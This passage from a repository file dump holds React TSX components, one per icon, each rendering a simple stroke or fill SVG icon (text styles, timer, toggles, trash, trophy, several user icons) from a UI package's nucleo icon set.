    "content": "import { SVGProps } from \"react\";\n\nexport function TextItalic(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"8.25 14.25 10.75 5.75 8.25 5.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"12\" cy=\"2\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"10.75\"\n          y1=\"14.25\"\n          y2=\"14.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/text-strike.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TextStrike(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"15.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <path\n          d=\"M6.75 3.75C6.75 2.92 7.42 2.25 8.25 2.25H10.5C11.88 2.25 13 3.37 13 4.75C13 5.16 12.91 5.56 12.75 5.92\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.25 14.25C11.25 15.08 10.58 15.75 9.75 15.75H7.5C6.12 15.75 5 14.63 5 13.25C5 12.84 5.09 12.44 5.25 12.08\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/timer2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Timer2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,4.25V1.75c4.004,0,7.25,3.246,7.25,7.25s-3.246,7.25-7.25,7.25S1.75,13.004,1.75,9c0-2.002,.811-3.815,2.123-5.127\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"5.75\"\n          y1=\"9\"\n          y2=\"5.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/toggle2-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Toggle2Fill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m11.5,3h-5C3.1914,3,.5,5.6914.5,9s2.6914,6,6,6h5c3.3086,0,6-2.6914,6-6s-2.6914-6-6-6Zm-5,9c-1.6543,0-3-1.3457-3-3s1.3457-3,3-3,3,1.3457,3,3-1.3457,3-3,3Z\"\n          fill=\"currentColor\"\n          strokeWidth=\"0\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/toggles.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Toggles(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M7.408,2.25h5.342c1.381,0,2.5,1.119,2.5,2.5h0c0,1.381-1.119,2.5-2.5,2.5H7.408\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.591,15.75H5.25c-1.381,0-2.5-1.119-2.5-2.5h0c0-1.381,1.119-2.5,2.5-2.5h5.344\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"5.75\"\n          cy=\"4.75\"\n          fill=\"none\"\n          r=\"3\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"12.25\"\n          cy=\"13.25\"\n          fill=\"none\"\n          r=\"3\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/trash.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Trash(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"m13.474,7.25l-.374,7.105c-.056,1.062-.934,1.895-1.997,1.895h-4.205c-1.064,0-1.941-.833-1.997-1.895l-.374-7.105\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"m6.75,4.75v-2c0-.552.448-1,1-1h2.5c.552,0,1,.448,1,1v2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"15.25\"\n          y1=\"4.75\"\n          y2=\"4.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/triangle-warning.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TriangleWarning(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M7.638,3.495L2.213,12.891c-.605,1.048,.151,2.359,1.362,2.359H14.425c1.211,0,1.967-1.31,1.362-2.359L10.362,3.495c-.605-1.048-2.119-1.048-2.724,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9,13.569c-.552,0-1-.449-1-1s.448-1,1-1,1,.449,1,1-.448,1-1,1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"6.5\"\n          y2=\"10\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/trophy.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Trophy(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9.5 11.75C9.5 11.75 9.5 14.688 13.25 15.75H4.75C8.5 14.688 8.5 11.75 8.5 11.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.286 9C1.469 9 1.74999 3.75 1.74999 3.75H4.42949\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.714 9C16.532 9 16.25 3.75 16.25 3.75H13.5705\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.75 2.25C13.1562 8.159 11.583 11.4958 9.23749 11.75H8.76251C6.41701 11.4958 4.8438 8.159 4.25 2.25H13.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/tv.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TV(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"9.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n        <path\n          d=\"M13.25,15.5c-.924-.337-2.4-.75-4.25-.75s-3.326,.413-4.25,.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/ui-card.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UiCard(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"3.5\"\n          width=\"6.5\"\n          fill=\"currentColor\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"5.75\"\n          y=\"5.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"8.75\"\n          y1=\"12.25\"\n          y2=\"12.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"12.25\"\n          y1=\"12.25\"\n          y2=\"12.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-arrow-right.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserArrowRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width={18}\n      height={18}\n      viewBox=\"0 0 18 18\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M9 7.25049C10.519 7.25049 11.75 6.01949 11.75 4.50049C11.75 2.98149 10.519 1.75049 9 1.75049C7.481 1.75049 6.25 2.98149 6.25 4.50049C6.25 6.01949 7.481 7.25049 9 7.25049Z\"\n        stroke=\"currentColor\"\n        strokeWidth={1.5}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M14.25 10.2505L16.75 12.7505L14.25 15.2505\"\n        stroke=\"currentColor\"\n        strokeWidth={1.5}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M16.5 12.7505H11.75\"\n        stroke=\"currentColor\"\n        strokeWidth={1.5}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M10.6392 9.98441C10.1166 9.83821 9.5697 9.75049 9 9.75049C6.449 9.75049 4.26098 11.2805 3.29098 13.4705C2.92598 14.2955 3.378 15.2444 4.238 15.5157C5.463 15.9014 7.084 16.2496 9 16.2496C9.8621 16.2496 10.6414 16.1646 11.373 16.0506\"\n        stroke=\"currentColor\"\n        strokeWidth={1.5}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserCheck(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 14 14\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\" clipPath=\"url(#user-check-clip)\">\n        <path\n          d=\"M7.00022 5.63911C8.18166 5.63911 9.13911 4.68166 9.13911 3.50022C9.13911 2.31877 8.18166 1.36133 7.00022 1.36133C5.81877 1.36133 4.86133 2.31877 4.86133 3.50022C4.86133 4.68166 5.81877 5.63911 7.00022 5.63911Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M7.32045 7.59994C7.21452 7.59294 7.10904 7.58398 7.00124 7.58398C5.01713 7.58398 3.31536 8.77399 2.56092 10.4773C2.27703 11.119 2.62858 11.857 3.29747 12.068C4.10542 12.3224 5.1457 12.5452 6.34869 12.6101\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M10.8894 7.77734C9.17358 7.77734 7.77832 9.17299 7.77832 10.8885C7.77832 12.6039 9.17358 13.9996 10.8894 13.9996C12.6053 13.9996 14.0005 12.6039 14.0005 10.8885C14.0005 9.17299 12.6053 7.77734 10.8894 7.77734ZM12.6842 10.3067L10.9342 12.2511C10.8271 12.37 10.676 12.4395 10.5157 12.4437C10.5104 12.4441 10.5058 12.4441 10.5005 12.4441C10.3464 12.4441 10.1975 12.383 10.0881 12.2732L9.11586 11.301C8.88798 11.0731 8.88798 10.704 9.11586 10.4762C9.34375 10.2483 9.71289 10.2483 9.9407 10.4762L10.4785 11.0135L11.8168 9.52594C12.0332 9.28748 12.4009 9.26772 12.6409 9.48262C12.8802 9.6983 12.8999 10.067 12.6842 10.3067Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"user-check-clip\">\n          <rect width=\"14\" height=\"14\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-crown.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserCrown(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.25,5.75v.75c0,2.071,1.679,3.75,3.75,3.75s3.75-1.679,3.75-3.75v-.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.953,16c1.298-1.958,3.522-3.25,6.047-3.25s4.749,1.291,6.047,3.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13,1l-1.341,1.174c-.377,.33-.94,.33-1.317,0l-1.341-1.174-1.341,1.174c-.377,.33-.94,.33-1.317,0l-1.341-1.174,.25,4.75c.754-.314,2.067-.75,3.75-.75,.817,0,2.196,.103,3.75,.75l.25-4.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-delete.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserDelete(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"16\"\n      height=\"16\"\n      viewBox=\"0 0 13 16\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.00011 6.44443C7.35014 6.44443 8.44455 5.35002 8.44455 3.99999C8.44455 2.64996 7.35014 1.55554 6.00011 1.55554C4.65008 1.55554 3.55566 2.64996 3.55566 3.99999C3.55566 5.35002 4.65008 6.44443 6.00011 6.44443Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M8.66675 10.6666L12.2223 14.2222\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M7.3894 8.85507C6.94407 8.73951 6.48185 8.66663 6.00007 8.66663C3.73251 8.66663 1.78762 10.0266 0.925402 11.9733C0.600958 12.7066 1.00274 13.5502 1.76718 13.7911C2.85607 14.1342 4.29696 14.4435 6.00007 14.4435C6.16096 14.4435 6.30762 14.4284 6.46407 14.4231\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M12.2223 10.6666L8.66675 14.2222\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-focus.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserFocus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"6.5\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.402,13.25c.649-1.332,2.016-2.25,3.598-2.25s2.949,.918,3.598,2.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.75,11.75v2c0,1.105-.895,2-2,2h-2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M6.25,15.75h-2c-1.105,0-2-.895-2-2v-2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.25,6.25v-2c0-1.105,.895-2,2-2h2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.75,2.25h2c1.105,0,2,.895,2,2v2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-minus.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserMinus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.975,12.25c-1.139-1.512-2.935-2.5-4.975-2.5-2.551,0-4.739,1.53-5.709,3.72-.365,.825,.087,1.774,.947,2.045,1.225,.386,2.846,.734,4.762,.734,.422,0,.824-.023,1.217-.053\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"17.25\"\n          x2=\"12.25\"\n          y1=\"14.75\"\n          y2=\"14.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-plus.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserPlus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"17.25\"\n          x2=\"12.25\"\n          y1=\"14.75\"\n          y2=\"14.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.75\"\n          x2=\"14.75\"\n          y1=\"12.25\"\n          y2=\"17.25\"\n        />\n        <path\n          d=\"M12.633,10.932c-1.024-.738-2.274-1.182-3.633-1.182-2.551,0-4.739,1.53-5.709,3.72-.365,.825,.087,1.774,.947,2.045,1.225,.386,2.846,.734,4.762,.734,.422,0,.824-.023,1.217-.053\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-search.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserSearch(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"13\"\n          cy=\"13\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.522,9.789c-.174-.015-.345-.039-.522-.039-2.551,0-4.739,1.53-5.709,3.72-.365,.825,.087,1.774,.947,2.045,1.225,.386,2.846,.734,4.762,.734,.186,0,.355-.017,.535-.023\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.59\"\n          x2=\"16.25\"\n          y1=\"14.59\"\n          y2=\"16.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user-xmark.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserXmark(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12\"\n          x2=\"16\"\n          y1=\"12\"\n          y2=\"16\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16\"\n          x2=\"12\"\n          y1=\"12\"\n          y2=\"16\"\n        />\n        <path\n          d=\"M10.563,9.962c-.501-.13-1.021-.212-1.563-.212-2.551,0-4.739,1.53-5.709,3.72-.365,.825,.087,1.774,.947,2.045,1.225,.386,2.846,.734,4.762,.734,.181,0,.346-.017,.522-.023\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/user.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function User(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.762,15.516c.86-.271,1.312-1.221,.947-2.045-.97-2.191-3.159-3.721-5.709-3.721s-4.739,1.53-5.709,3.721c-.365,.825,.087,1.774,.947,2.045,1.225,.386,2.846,.734,4.762,.734s3.537-.348,4.762-.734Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/users-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UsersFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle cx=\"5.75\" cy=\"6.25\" fill=\"currentColor\" r=\"2.75\" />\n        <circle cx=\"12\" cy=\"3.75\" fill=\"currentColor\" r=\"2.75\" />\n        <path\n          d=\"M17.196,11.098c-.811-2.152-2.899-3.598-5.196-3.598-1.417,0-2.752,.553-3.759,1.48,1.854,.709,3.385,2.169,4.109,4.089,.112,.296,.162,.603,.182,.91,1.211-.05,2.409-.26,3.565-.646,.456-.152,.834-.487,1.041-.919,.2-.42,.221-.888,.059-1.316Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          